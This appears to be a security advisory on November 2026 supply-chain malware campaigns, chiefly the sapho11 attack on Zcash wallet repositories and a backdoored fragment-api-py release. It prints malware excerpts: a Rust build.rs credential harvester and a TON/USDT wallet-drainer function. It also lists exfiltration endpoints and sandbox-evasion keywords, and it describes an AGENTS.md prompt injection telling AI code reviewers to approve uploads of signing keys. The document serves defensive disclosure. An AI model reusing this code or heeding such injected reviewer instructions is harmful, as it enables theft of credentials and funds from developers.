CVE
Not assigned
CWE
CWE-506, CWE-94, CWE-200, CWE-522
Affected Surface
- Rust projects, Zcash wallet developers, and CI runners that built or ran `cargo check` / `rust-analyzer` on `crates.io/lwd-uri-util` versions `0.1.0` through `0.1.7` (`GHSA-8mh3-cf36-7xxq` / `RUSTSEC-2026-0483`, removed from `crates.io` on 10-11 November 2026) or checked out pull requests `chainapsis/vizor-wallet#1199` through `#1202`, `zingolabs/zingo-common#85`, or `zingolabs/zingolib#3148`
- Node.js environments that installed `github.com/sapho11/zip321-uri` (`1.0.1`) as a Git dependency, or maintainers who visited `hxxps://session-check.sapho11.workers[.]dev/auth` from `sapho11/vizor-wallet#1`
- Python applications and Telegram Fragment bots that installed PyPI `fragment-api-py` version `14.4.2` (published 8 November 2026 at `12:12 UTC` and removed from PyPI on 9-10 November 2026; `14.4.1` is clean) or PyPI `humbility-shared` (`0.0.1`, `0.0.2`, `GHSA-79v2-94f6-j483`, removed from PyPI on 11 November 2026)
- Node.js environments that installed npm `@rclaude/win32-x64` (`0.2.1` `GHSA-w584-99h6-6g9r`, while `0.2.0` and `0.2.6` remain live on npm), `0sec-cli` (`0.28.10` `GHSA-9j97-6pqr-qvrx`, while `0.15.0`..`0.28.9` remain live), `health-relay-client` (`1.0.3`, `1.0.4` `GHSA-wfqq-mfhj-vpr2`, while `1.0.0`..`1.0.2` remain live streaming `~/.openclaw` data to `leonas[.]asia:5201`), `@solana-trade/core` (`GHSA-rq54-jmqc-j8qj`), `solvit-cli` (`0.1.0` to `0.5.0`, `GHSA-p4j3-63x4-qr3v`), `yummy-bolts` (`1.0.0` to `1.4.0`, `GHSA-v9xg-mgjf-74xm`), `chalks-log` (`GHSA-cm5x-2764-c8p9`), `prettlog` (`GHSA-7m86-chx9-8rr7`), `termchalk` (`GHSA-727x-2mvh-8r5c`), `xsdsh-purge-next` (`1.0.0`, `GHSA-qpc3-24mv-6qrp`), `commerce-utils` (`0.0.1`, `0.0.2`, `GHSA-4m72-8w6v-x24q`), `carboniteapp` (OpenSSF PR `#1767`), `pt-logger-telemetry-eax0x1` (`GHSA-hf56-v7wj-mjc9`), `rex-react-diag-tools-v1` (`GHSA-w3r9-3pw6-qg6q`), `nj-logger` (`GHSA-6q28-3q3p-8x7c`), `kbmathlessons` (`GHSA-8cvx-wq76-pcwg`), `baidu-ti` (`GHSA-hwgp-r9x8-49cx`), `@mobile-platform/magnetic-components` (`GHSA-fmr2-gc7p-wpc7`), `hissakdx-wix-ssr-callback-canary` (`GHSA-pmjf-g9mp-9hrr`), `selectlist-polyfill-lite` (`GHSA-2wg4-r52x-r477`), `read-react-app-in` / `out` / `test` (`GHSA-hc34-qc67-9qp4`, `GHSA-wfm4-3cjm-9545`, `GHSA-rf9p-c6g8-r84w`), `css-import-order` (`GHSA-wc5q-g53w-pg32`), `modules-newline` (`GHSA-5hjr-7qfq-x5m5`), `react-svg-chunk` (`GHSA-5mg5-p59w-76r5`), `trgrip` (`GHSA-fw89-fphx-4q5r`), `typo-crypto` (`GHSA-63fv-6mm3-hq48`), `text-regexer` (`4.3.0`, `GHSA-p4p5-f7j2-g67x`), `supership-scan` (`1.0.0`, `GHSA-v62j-7p69-5q4q`), `@conduitops/logview-archive` (`1.0.0`, `1.0.1`, `GHSA-x7hg-v8jr-wmgw`), `@solana-common/utils` (`1.0.0` to `2.0.12`, `GHSA-r533-jgcg-qr68`), `@web3-common/utils` (`1.0.0`, `GHSA-253f-9v83-pw5c`), `tchain-api` (`1.2.2` to `1.2.5`, `GHSA-353c-q3qh-4wwc`), `redeem-onchain-sdk` (`1.0.7`, `GHSA-xv64-hqwm-65h3`), `@solarcraft/observix` (`0.4.12`, `GHSA-mg72-vqq5-mhp6`), `@lemili9804/mcp-weather-server` (`1.0.3`, `1.0.6`, and still-live `1.0.7`/`1.0.8`, `GHSA-qwfq-cw9x-55x4`), `mcp-contract-tester` (`GHSA-34p7-qcxm-gc39`), `agui-session-recorder` (`GHSA-qvgh-c63m-fxr7`), `agent-trace-kit` (`GHSA-p844-4jjv-h39f`), `superlib_ex3` (`1.0.0`, `1.0.1`, OpenSSF PR `#1764`), `fapshi` (`1.1.4`, `GHSA-frmh-w7mm-6h56`), the `ltidisafe` GCS tarball redirectors (`@postex/common`, `@fmr-ap153177/apex-kit-icons`, `@fmr-ap149494/apex-base-component`, `@jm-telefonica/multibrand-components`, `@generic-means/ing-feat-scanner-libs`, `@futurae-public/adaptive-js`, `@fcsmc/commercial-analytics`, `@factoryz/apollo`), `@openyard/vetcode` (`0.3.0`, `0.3.1`, `GHSA-gq67-8gph-p33v`), `futrou` (`2.0.40`, `GHSA-68q3-vw3h-2mrf`), `kube-health-tools` (`1.0.0` to `2.4.4`, `GHSA-mj5g-9669-w97f`), `moltbook-health` (`GHSA-fpfc-cq2r-8r2c`), `moltbook-api-helper` (`GHSA-pgm4-9gwv-4gcr`), `nodecheck-health` (`GHSA-x2vv-xjjr-m8c6`), `npm-scanner` (`GHSA-pc5x-m587-83hh`), or `leveldb-edit` (`GHSA-86wj-q33p-q8r9`)
Update, 11 November 2026 (crates.io removal of lwd-uri-util, RUSTSEC-2026-0483, and 28 new npm / PyPI malware advisories): Between 19:18 UTC on 10 November and 12:09 UTC on 11 November 2026, crates.io removed all eight versions of lwd-uri-util (0.1.0 through 0.1.7, now returning 404 Not Found), the RustSec Advisory Database assigned RUSTSEC-2026-0483 (commits 1ac199cdff and 31cf5a8673), and the GitHub Advisory Database plus OpenSSF malicious-packages published 28 additional npm and PyPI malware advisories:
- Partial npm version takedowns that leave sibling versions live on
registry.npmjs.org(@rclaude/win32-x64GHSA-w584-99h6-6g9r,0sec-cliGHSA-9j97-6pqr-qvrx,health-relay-clientGHSA-wfqq-mfhj-vpr2, andcommerce-utilsGHSA-4m72-8w6v-x24q):@rclaude/win32-x64(GHSA-w584-99h6-6g9r, published22:06 UTCon 10 Nov): While npm unpublished0.2.1at22:05:53 UTC, our live registry inspection confirms that0.2.0and0.2.6(latest, published 10 Nov at08:50 UTC) remain live onregistry.npmjs.org, shipping a 33.4 MBpackage/rclaude.exeWindows x64 binary (win32-x64-0.2.6.tgz, 14.1 MB).0sec-cli(GHSA-9j97-6pqr-qvrx, published12:09 UTCon 11 Nov): npm unpublished0.28.10at12:08:46 UTC, while 22 earlier versions (0.15.0through0.28.9latest) remain live onregistry.npmjs.org.health-relay-client(GHSA-wfqq-mfhj-vpr2, published20:48 UTCon 10 Nov): npm unpublished1.0.3and1.0.4at20:47:53 UTC, but1.0.0,1.0.1, and1.0.2(latest) remain live onregistry.npmjs.org. Static inspection ofhealth-relay-client-1.0.2.tgzconfirms thatsrc/collectors/reads~/.openclaw/openclaw.json,~/.openclaw/workspace-*/.openclaw/workspace-state.json,~/.openclaw/skills/*/SKILL.md,~/.openclaw/logs/openclaw.log, and~/.clawcontrol/usage.jsonand streams them over WebSocket toleonas[.]asia:5201(accessCode: 'health-secret-code-2024').commerce-utils(GHSA-4m72-8w6v-x24q, published20:42 UTCon 10 Nov): npm unpublished0.0.1and0.0.2, leaving a 52-byte stub1.0.0aslatest.
- Web3, CLI, and logger takedowns on npm and PyPI (
@solana-trade/core,solvit-cli,yummy-bolts,chalks-log,prettlog,termchalk,xsdsh-purge-next,carboniteapp, and PyPIhumbility-shared): Between19:18 UTCon 10 November and10:28 UTCon 11 November, npm replaced or unpublished@solana-trade/core(GHSA-rq54-jmqc-j8qj),solvit-cli(0.1.0to0.5.0,GHSA-p4j3-63x4-qr3v),yummy-bolts(1.0.0to1.4.0,GHSA-v9xg-mgjf-74xm),chalks-log(GHSA-cm5x-2764-c8p9),prettlog(GHSA-7m86-chx9-8rr7),termchalk(GHSA-727x-2mvh-8r5c),xsdsh-purge-next@1.0.0(GHSA-qpc3-24mv-6qrp,0.0.0-stageremaining),pt-logger-telemetry-eax0x1(GHSA-hf56-v7wj-mjc9),rex-react-diag-tools-v1(GHSA-w3r9-3pw6-qg6q),nj-logger(GHSA-6q28-3q3p-8x7c),kbmathlessons(GHSA-8cvx-wq76-pcwg),baidu-ti(GHSA-hwgp-r9x8-49cx),@mobile-platform/magnetic-components(GHSA-fmr2-gc7p-wpc7),hissakdx-wix-ssr-callback-canary(GHSA-pmjf-g9mp-9hrr),selectlist-polyfill-lite(GHSA-2wg4-r52x-r477),read-react-app-in/out/test(GHSA-hc34-qc67-9qp4,GHSA-wfm4-3cjm-9545,GHSA-rf9p-c6g8-r84w),css-import-order(GHSA-wc5q-g53w-pg32),modules-newline(GHSA-5hjr-7qfq-x5m5),react-svg-chunk(GHSA-5mg5-p59w-76r5),trgrip(GHSA-fw89-fphx-4q5r),typo-crypto(GHSA-63fv-6mm3-hq48),text-regexer@4.3.0(GHSA-p4p5-f7j2-g67x), andsupership-scan@1.0.0(GHSA-v62j-7p69-5q4q). OpenSSF PR#1767also documentedcarboniteapp(an npm install-time stealer that resolved the victim’s public IP viaapi.ipify[.]organd exfiltrated host data toapi.telegram[.]org), and GitHub publishedGHSA-79v2-94f6-j483for PyPIhumbility-shared(0.0.1,0.0.2, removed from PyPI).
Update, 10 November 2026 (15:48 to 18:58 UTC): Between 15:48 and 18:58 UTC on 10 November 2026, the GitHub Advisory Database and OpenSSF malicious-packages published 20 additional npm malware advisories across Web3/Solana utilities, MCP/AI-agent packages, SSH-backdoor loggers, and Discord selfbot stealers:
- Web3 / Solana packages and compromised
fapshirelease (@solana-common/utilsGHSA-r533-jgcg-qr68,@web3-common/utilsGHSA-253f-9v83-pw5c,tchain-apiGHSA-353c-q3qh-4wwc,redeem-onchain-sdkGHSA-xv64-hqwm-65h3, andfapshi@1.1.4GHSA-frmh-w7mm-6h56):@solana-common/utils(22versions from1.0.0to2.0.12),@web3-common/utils(1.0.0),tchain-api(1.2.2to1.2.5), andredeem-onchain-sdk(1.0.7) were all replaced onregistry.npmjs.orgwith0.0.1-securityplaceholders between15:56and18:13 UTC; forfapshi, npm unpublished the malicious1.1.4release at15:47 UTC, restoring1.0.3aslatest. - SSH-backdoor logger
@solarcraft/observix@0.4.12(GHSA-mg72-vqq5-mhp6) andsuperlib_ex3(OpenSSF PR#1764): Posing as a zero-dependency colorized logger similar topino-pretty,@solarcraft/observix@0.4.12importsdist/logger.json module load to append a hardcoded attackerssh-ed25519public key to~/.ssh/authorized_keyson Linux hosts (replaced with0.0.1-securityat16:50 UTC). Meanwhile, OpenSSF PR#1764documentssuperlib_ex3(1.0.0,1.0.1, unpublished from npm), whose install hook fetches and executes a second-stage payload fromhxxps://x.exxcube[.]fr/postInstall. - MCP / AI-agent packages (
@lemili9804/mcp-weather-serverGHSA-qwfq-cw9x-55x4,mcp-contract-testerGHSA-34p7-qcxm-gc39,agui-session-recorderGHSA-qvgh-c63m-fxr7,agent-trace-kitGHSA-p844-4jjv-h39f,niceguiGHSA-q452-fhw8-f2rp,period-newlineGHSA-39vr-m6q2-vq5c, andneat-terminal-visualizer-84721GHSA-xp8m-mppr-v6jw) plus 7 Discord/SMS packages: While npm unpublished@lemili9804/mcp-weather-serverversions1.0.3and1.0.6(GHSA-qwfq-cw9x-55x4at18:58 UTC), our static inspection of the live registry tarballs confirms that1.0.7and1.0.8(latest) remain live onregistry.npmjs.organd importexecfromchild_processinside theget-forecastMCP tool handler (package/build/index.js:322-324). At18:43 UTC, GitHub also published advisories for seven Discord/SMS packages (direct-message-receiverGHSA-f5x3-jq2w-45jh,discord-selfbot-functionsGHSA-p5xx-hcxr-jvfg,discord-dm-parserGHSA-6hmp-jwwc-3gfw,discordjs-dm-parseGHSA-2mwc-vf9r-h94x,discord-badge-parserGHSA-797w-f996-fcxh,discord-user-parserGHSA-pw65-2qrx-w636, andsms-activate.jsGHSA-jf8p-p2w6-p4jq), all replaced with0.0.1-security.
TL;DR
On 10 November 2026, threat researchers at OpenSourceMalware, SafeDep, Amazon Inspector, and the GitHub Advisory Database disclosed two supply-chain campaigns targeting cryptocurrency wallet maintainers and developers, alongside a wave of npm and crates.io malware advisories:
- The
sapho11four-phase campaign against Zcash, Vizor Wallet, Zingo Labs, and Keplr MCP (crates.io/lwd-uri-util0.1.0to0.1.7,GHSA-8mh3-cf36-7xxq, still live oncrates.io): Over a six-hour window on 10 November (01:26to07:20 UTC), the GitHub and crates.io accountsapho11(sapho11@wp.pl) ran a four-stage operation againstchainapsis/vizor-wallet,zingolabs/zingo-common, andzingolabs/zingolib:- Stage 1 (CI signing-key exfiltration PRs
#1199and#1200): Opened PRs onchainapsis/vizor-walletthat harvested secret environment variables, parsed their values for.pfx,.p12,.jks,.keystore,.pem,.p8, and.mobileprovisionfile paths, read the signing certificates and~/.fastlanedirectories, and POSTed them tohxxps://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz/v1/tipcheck(a domain registered two months earlier on 7 September 2026). - Stage 2 (
AGENTS.mdprompt injection PR#1201and maintainer phishing#1): After automated Codex review flagged PRs#1199and#1200,sapho11opened PR#1201adding an “Automation Diagnostics Convention” section toAGENTS.mdthat instructed AI code reviewers to treat signing-key uploads toVIZOR_TIP_MIRRORandVIZOR_DIAG_ENDPOINTas expected behavior, and tagged two Vizor maintainers in a fake vulnerability issue pointing to a GitHub credential-phishing page on Cloudflare Workers (hxxps://session-check.sapho11.workers[.]dev/auth). - Stage 3 (
crates.io/lwd-uri-util0.1.0to0.1.7andsapho11/zip321-uri): Published eight versions oflwd-uri-utiltocrates.io(all eight versions remain live and un-yanked oncrates.ioas of 10 November) and openedchainapsis/vizor-wallet#1202,zingolabs/zingo-common#85, andzingolabs/zingolib#3148(disguising the 25-line dependency addition inside 900-to-1,166-line LF-to-CRLF full-file rewrites). Compiling the crate (including viacargo checkorrust-analyzerin an IDE) executesbuild.rs, which writes every environment variable,.env*,~/.aws/credentials,~/.cargo/credentials.toml,~/.npmrc,~/.pypirc,~/.git-credentials,~/.config/gh/hosts.yml,~/.keplr-mcp/vaults/*.enc, and macOS Keychain passwords (security find-generic-password -s <svc> -wforkeplr-mcp,vizor,fastlane,deliver,match) to$OUT_DIR/lwd_uri_build_context.jsonand POSTs the file tohxxps://webhook[.]site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1unless 15 base64-encoded scanner keywords (phylum,socket.dev,canary,sandbox,honeypot) appear inenv::vars().
- Stage 1 (CI signing-key exfiltration PRs
- PyPI
fragment-api-py14.4.2drains 44.87 TON and USDT on client startup (SafeDep,S1qwy/fragment-api-py#8): On 8 November 2026 (12:12 UTC), an attacker uploadedfragment-api-py@14.4.2to PyPI without a corresponding GitHub commit or tag. Built by backdooring the older13.0.0codebase and bumping the version above14.4.1,14.4.2hooksFragmentClient.__aenter__()andexecute_prepared()to run_ensure_swept()->sweep_wallet_to_self(). Before any user purchase executes, the client derives the caller’s TON wallet fromclient.seedand sends an atomic batch transfer of all Tether (USDT) andbalance - 0.12 TON(orbalance - 0.18 TONwhen USDT is present) toUQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU, draining two production wallets (0.88 TONon 8 November and43.98 TONon 9 November) before cashing out44.87 TONon 10 November at07:11:59 UTC. - 10 November npm and crates.io takedown wave (
@conduitops/logview-archive,ltidisafeGCS tarball redirectors,kube-health-tools,moltbook-*,futrou, and 9 RustSec malicious-crate advisories): GitHub and OpenSSF published advisories for@conduitops/logview-archive(1.0.0,1.0.1,GHSA-x7hg-v8jr-wmgw, whosepostinstallrunsnpm install @conduit/logview-cli@2.2.0 --registry http://139.196.94[.]195:8080/dl/npm/), eight scoped enterprise packages (@postex/common,@fmr-ap153177/apex-kit-icons,@fmr-ap149494/apex-base-component,@jm-telefonica/multibrand-components,@generic-means/ing-feat-scanner-libs,@futurae-public/adaptive-js,@fcsmc/commercial-analytics, and@factoryz/apollo) that pullhxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.5.tgz,@openyard/vetcode(0.3.0,0.3.1,GHSA-gq67-8gph-p33v),futrou@2.0.40(GHSA-68q3-vw3h-2mrf),kube-health-tools(1.0.0to2.4.4,GHSA-mj5g-9669-w97f),moltbook-health,moltbook-api-helper,nodecheck-health,npm-scanner, andleveldb-edit.
What to do now: Do not check out or build zingolabs/zingolib#3148 or zingolabs/zingo-common#85, and search Cargo build trees for lwd-uri-util and lwd_uri_build_context.json (remembering that lwd-uri-util 0.1.0 through 0.1.7 are still live on crates.io). Pin fragment-api-py to <= 14.4.1 and transfer any remaining funds out of TON wallets whose seed was passed to fragment-api-py@14.4.2.
Affected packages and repositories
We verified the live registry state of every package below against crates.io, pypi.org, and registry.npmjs.org on 10 November 2026:
| Ecosystem | Package / Repository | Malicious versions / PRs | Safe version | First seen (UTC) | Status (10 Nov 2026) |
|---|---|---|---|---|---|
| crates.io | lwd-uri-util (lwd_uri_util, GHSA-8mh3-cf36-7xxq) | 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7 | None (malware) | 2026-11-10 03:05:49 | Still live on crates.io (all 8 versions un-yanked) |
| GitHub / npm (git) | sapho11/zip321-uri, sapho11/lwd-uri-util, chainapsis/vizor-wallet (#1199..#1202), zingolabs/zingo-common (#85), zingolabs/zingolib (#3148) | zip321-uri@1.0.1 (prepare / postinstall install.js); PRs #1199..#1202, #85, #3148 | Upstream main branches | 2026-11-10 01:56 to 07:20 | sapho11 repos and zingolabs PRs #85 / #3148 still open; vizor-wallet PRs #1199..#1202 closed |
| PyPI | fragment-api-py | 14.4.2 | 14.4.1 (or <= 14.4.1) | 2026-11-08 12:12 | 14.4.2 removed from PyPI; 14.4.1 restored as latest |
| npm | @conduitops/logview-archive (GHSA-x7hg-v8jr-wmgw) | 1.0.0, 1.0.1 | None (malware) | 2026-10-21 02:38 | Replaced with 0.0.1-security on 10 Nov 2026 (01:37 UTC) |
| npm | @postex/common, @fmr-ap153177/apex-kit-icons, @fmr-ap149494/apex-base-component, @jm-telefonica/multibrand-components, @generic-means/ing-feat-scanner-libs, @futurae-public/adaptive-js, @fcsmc/commercial-analytics, @factoryz/apollo | 99.9.1 (all versions) | None (dependency-confusion / ltidisafe GCS tarball loader) | 2026-10-19 | Replaced with 0.0.1-security on 10 Nov 2026 (03:15 UTC) |
| npm | kube-health-tools (GHSA-mj5g-9669-w97f), moltbook-health (GHSA-fpfc-cq2r-8r2c), moltbook-api-helper (GHSA-pgm4-9gwv-4gcr), nodecheck-health (GHSA-x2vv-xjjr-m8c6), npm-scanner (GHSA-pc5x-m587-83hh), leveldb-edit (GHSA-86wj-q33p-q8r9), @openyard/vetcode (GHSA-gq67-8gph-p33v), futrou (GHSA-68q3-vw3h-2mrf) | kube-health-tools 1.0.0..2.4.4 (13 versions); moltbook-health 1.0.0..1.0.16; moltbook-api-helper 1.0.0..1.0.1; nodecheck-health 1.0.0..1.0.1; npm-scanner 1.0.0; leveldb-edit 1.0.0..1.0.44; @openyard/vetcode 0.3.0, 0.3.1; futrou 2.0.40 | futrou <= 2.0.39; others none | 2026-03-31 to 2026-11-10 | futrou@2.0.40 and @openyard/vetcode 0.3.0/0.3.1 unpublished; others replaced with 0.0.1-security on 10 Nov 2026 |
| npm | @solana-common/utils (GHSA-r533-jgcg-qr68), @web3-common/utils (GHSA-253f-9v83-pw5c), tchain-api (GHSA-353c-q3qh-4wwc), redeem-onchain-sdk (GHSA-xv64-hqwm-65h3), fapshi (GHSA-frmh-w7mm-6h56), @solarcraft/observix (GHSA-mg72-vqq5-mhp6), @lemili9804/mcp-weather-server (GHSA-qwfq-cw9x-55x4), mcp-contract-tester (GHSA-34p7-qcxm-gc39), agui-session-recorder (GHSA-qvgh-c63m-fxr7), agent-trace-kit (GHSA-p844-4jjv-h39f), nicegui (GHSA-q452-fhw8-f2rp), period-newline (GHSA-39vr-m6q2-vq5c), neat-terminal-visualizer-84721 (GHSA-xp8m-mppr-v6jw), superlib_ex3 (OpenSSF #1764), plus 7 Discord/SMS packages (GHSA-f5x3-jq2w-45jh, GHSA-p5xx-hcxr-jvfg, GHSA-6hmp-jwwc-3gfw, GHSA-2mwc-vf9r-h94x, GHSA-797w-f996-fcxh, GHSA-pw65-2qrx-w636, GHSA-jf8p-p2w6-p4jq) | @solana-common/utils 1.0.0..2.0.12 (22 versions); @web3-common/utils 1.0.0; tchain-api 1.2.2..1.2.5; redeem-onchain-sdk 1.0.7; fapshi 1.1.4; @solarcraft/observix 0.4.12; @lemili9804/mcp-weather-server 1.0.3, 1.0.6 (1.0.7/1.0.8 still live); superlib_ex3 1.0.0, 1.0.1 | fapshi <= 1.0.3; others none | 2026-04-29 to 2026-11-10 | @lemili9804/mcp-weather-server 1.0.7/1.0.8 still live on npm; fapshi@1.1.4 and superlib_ex3 unpublished; all others replaced with 0.0.1-security on 10 Nov (15:56 to 18:44 UTC) |
Technical analysis
We downloaded the live lwd-uri-util .crate archives (0.1.0 through 0.1.7) from static.crates.io and the sapho11/zip321-uri source files to a scratch directory and analyzed them statically alongside the fragment-api-py@14.4.2 wheel diff.
1. The sapho11 campaign: CI signing-key hooks, AGENTS.md reviewer prompt injection, and lwd-uri-util build.rs
The sapho11 GitHub account was registered at 01:26:45 UTC on 10 November 2026 and used commit email sapho11@wp.pl. Thirty minutes later (01:56:21 and 01:56:25 UTC), it opened two pull requests against chainapsis/vizor-wallet:
chainapsis/vizor-wallet#1199(commitc675b967588f): Modifiedscripts/mainnet_tables.pyto addtip_mirror(), which collected every environment variable whose name matchedVIZOR,MATCH,FASTLANE,GITHUB,GH_,TOKEN,KEY,SECRET,PASS,CERT,SIGN,APPLE,ANDROID,PLAY,SSH,AWS,GOOGLE,RUNNER, orCI, gzip-compressed the JSON dictionary, and POSTed it tohxxps://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz/v1/tipcheck.chainapsis/vizor-wallet#1200(commit716e01d64b36): Modifiedscripts/package-windows-velopack.ps1to addSend-ReleaseDiagnostics, invoked atpreflightandpresign(immediately before signing the Windows Velopack auto-update feed). Beyond dumping secret environment variables, the PowerShell script split every environment variable’s value on whitespace and punctuation to locate file paths ending in.pfx,.p12,.jks,.keystore,.pem,.key,.json,.mobileprovision,.p8,.profile,.env, or.properties, then read and base64-encoded those signing certificate files (up to 5 MB each) along with~/.fastlane,%APPDATA%\fastlane,id_ed25519,id_rsa, andandroid\key.properties.
When an automated OpenAI Codex code-review bot flagged the environment exfiltration on both PRs, sapho11 pushed stripped-down commits within 19 minutes, then pivoted at 02:35:47 UTC to PR #1201 (commit a1762b9db1a4). That PR modified AGENTS.md to add an “Automation Diagnostics Convention” section stating that VIZOR_TIP_MIRROR and VIZOR_DIAG_ENDPOINT intentionally upload environment snapshots and signing-variable values, and explicitly instructing automated and human reviewers not to flag those uploads as credential leaks. Nine minutes before opening #1201 (02:26:14 UTC), sapho11 also opened an issue on its fork (sapho11/vizor-wallet#1, [security] Update-feed signature verification bypass) tagging two Vizor maintainers with a link to hxxps://session-check.sapho11.workers[.]dev/auth, a pixel-accurate GitHub login clone that POSTs login and password to /auth/login.
At 03:05:49 UTC, sapho11 published lwd-uri-util@0.1.0 to crates.io (Canonicalize lightwalletd endpoint URIs for Zcash clients), opened chainapsis/vizor-wallet#1202 66 seconds later, and iterated through versions 0.1.1 to 0.1.7 by 06:30:09 UTC. After chainapsis closed PRs #1199 through #1202 at 03:17 UTC, sapho11 opened zingolabs/zingo-common#85 (07:14:35 UTC) and zingolabs/zingolib#3148 (07:20:43 UTC), converting all touched files from LF to CRLF line endings so GitHub’s diff viewer rendered a 1,166-line full-file replacement around the 25-line lwd-uri-util = "0.1.7" addition.
In lwd-uri-util-0.1.7.crate (SHA-256 7c0fbaf582b9b4e674c108ed5b0cb2835b11369fbdb1ce7ac29d63e9321a6981), src/lib.rs is a 70-line URI normalizer, while build.rs (8,929 bytes, SHA-256 f466d5621525a4cf229e4a8377cd7285da5797eee77384253f1040a722765953) executes automatically during cargo build, cargo check, cargo test, or IDE rust-analyzer indexing:
// lwd-uri-util-0.1.7/build.rs (excerpt, lines 96-175)
fn local_files() -> Vec<(String, PathBuf)> {
let mut v = Vec::new();
let home = env::var("HOME").or_else(|_| env::var("USERPROFILE"))
.map(PathBuf::from).unwrap_or_default();
let mut dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
for up in 0..3 {
for f in [".env", ".env.local", ".env.production", "secrets.json",
"config.toml", "fastlane/.env", "fastlane/Appfile",
"android/keystore.properties", "local.properties"] {
let p = dir.join(f);
if p.is_file() { v.push((format!("env{up}_{}", f.replace('/', "_")), p)); }
}
dir = dir.join("..");
}
for f in [".git-credentials", ".netrc", ".aws/credentials",
".ssh/config", ".config/gh/hosts.yml",
".cargo/credentials.toml", ".npmrc", ".pypirc",
".keplr-mcp/config.json", ".keplr-mcp/vaults.json"] {
let p = home.join(f);
if p.is_file() { v.push((format!("home_{}", f.replace(['/', '.'], "_")), p)); }
}
let vd = home.join(".keplr-mcp").join("vaults");
if let Ok(rd) = fs::read_dir(&vd) {
for e in rd.flatten().take(8) {
let p = e.path();
if p.extension().map(|x| x == "enc").unwrap_or(false) {
let tag = format!("vault_{}",
p.file_stem().unwrap_or_default().to_string_lossy());
v.push((tag, p));
}
}
}
v
}
fn cred_probes() -> Vec<(String, String, Vec<String>)> {
let mut v = Vec::new();
if cfg!(target_os = "macos") {
for svc in ["keplr-mcp", "keplr-wallet-mcp", "vizor", "fastlane",
"deliver", "match"] {
v.push((format!("kc_{svc}"), "security".into(), vec![
"find-generic-password".into(), "-s".into(), svc.into(),
"-w".into()]));
}
}
Two implementation details in build.rs matter for incident response:
lwd_uri_build_context.jsonis written to disk before any kill-switch or sandbox check runs:main()callssnapshot()and writes$OUT_DIR/lwd_uri_build_context.json(target/*/build/lwd-uri-util-*/out/lwd_uri_build_context.json) before callingreport(). Even ifLWD_URI_NO_METRICSis set orreport()aborts after matching one of the 15 base64-encoded sandbox strings (bbcade,canary,example.com,phylum,socket.dev,sandbox,honeypot,trap,fake,synthetic,sentinel,dummy,redacted,packetarget,opensi), the plaintext JSON bundle containing all environment variables, credential files, Keplr.encvaults, and macOS Keychain passwords remains on disk intarget/.- Matching Node.js stealer in
sapho11/zip321-uri(install.js): Created at06:48:56 UTCon 10 November,sapho11/zip321-urirunsnode install.jsonprepareandpostinstall, tagging its payload_src: "npm-git"and additionally harvesting~/.ssh/id_ed25519,~/.ssh/id_rsa,~/.ssh/id_ecdsa,~/.zcash/zcash.conf,~/.zcash/zcashd.conf,~/.docker/config.json,~/.kube/config,~/.config/vercel/auth.json,.wrangler/config/default.toml,.mcp.json, and.dev.varsto the samewebhook[.]site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1endpoint.
2. PyPI fragment-api-py 14.4.2: TON and USDT wallet drainer triggered by async with FragmentClient
fragment-api-py (github.com/S1qwy/fragment-api-py) is an async Python SDK for Telegram’s Fragment marketplace (stars, premium, usernames, numbers, and ads) that accepts a user’s TON wallet mnemonic via FragmentClient(seed=...). At 12:12 UTC on 8 November 2026, version 14.4.2 (fragment_api_py-14.4.2-py3-none-any.whl, SHA-256 24c402f3c47e3d8bc29597d000def922fa507970e47322d6fd7f28a4d253d447; sdist fragment_api_py-14.4.2.tar.gz, SHA-256 f046a53fa9007ff4cecc3ca7c5811b3fe44b09905af162d260885d091519531e) was uploaded to PyPI without any tag or commit on GitHub (where tags stop at v14.4.1, uploaded 7 November at 17:44:39 UTC).
As SafeDep’s byte-level comparison against prior releases shows, 14.4.2 was not built from 14.4.1; instead, 28 of its 32 files are byte-for-byte identical to 13.0.0 (published 2 October 2026), with archive timestamps indicating the backdoor was prepared on 12 October 2026 and given the higher 14.4.2 version string so pip install -U fragment-api-py would select it. Across FragmentAPI/client.py (SHA-256 8bc3211ec1aac493181decdb15dc75887c187601fd9e85174bb3f6dfcd8214c7) and FragmentAPI/utils/wallet.py (SHA-256 356850fb88116cb9a9d84ab5af5c21c6a3e3c06e41d4eafb1047dad68c718aa9), the attacker inserted _ensure_swept() into FragmentClient.__aenter__() (client.py:295) and execute_prepared() (utils/wallet.py:410), which invokes sweep_wallet_to_self():
# FragmentAPI/client.py @ 14.4.2 (lines 292-310)
async def __aenter__(self) -> FragmentClient:
"""Enter the asynchronous client context."""
self._get_transport()
await self._ensure_swept()
return self
async def _ensure_swept(self) -> None:
if not self._sweep_on_init or self._sweep_done:
return
async with self._sweep_lock:
if self._sweep_done:
return
if not self.has_wallet:
raise ConfigurationError(ConfigurationError.SEED_REQUIRED)
await self.sweep_to_self()
self._sweep_done = True
# FragmentAPI/utils/wallet.py @ 14.4.2 (lines 146-232, excerpt)
def sweep_amounts(balance_nanoton: int, usdt_units: int) -> tuple[int, int]:
...
usdt_gas = 60_000_000 if usdt_units > 0 else 0
required = 100_000_000 + usdt_gas + 20_000_000
...
return usdt_gas, balance_nanoton - required
async def sweep_wallet_to_self(client: FragmentClient) -> SweepResult:
client._require_wallet()
async with client._wallet_lock:
async with _make_ton_client(client) as ton:
wallet, _, _, _ = WALLET_CLASSES[client.wallet_version].from_mnemonic(
client=ton, mnemonic=client.seed
)
owner = wallet.address.to_str(is_user_friendly=False)
dest = Address("UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU") # line 172
state = await ton.get_info(wallet.address)
balance = int(state.balance)
usdt_units = await _get_usdt_units(ton, owner)
usdt_gas, gram_amount = sweep_amounts(balance, usdt_units)
builders = []
if usdt_units > 0:
builders.append(JettonTransferBuilder(
destination=dest, jetton_amount=usdt_units,
jetton_master_address=Address(USDT_TON_MASTER_ADDRESS),
response_address=wallet.address, amount=usdt_gas,
))
if gram_amount > 0:
builders.append(TONTransferBuilder(destination=dest, amount=gram_amount))
...
result = await wallet.batch_transfer_message(builders)
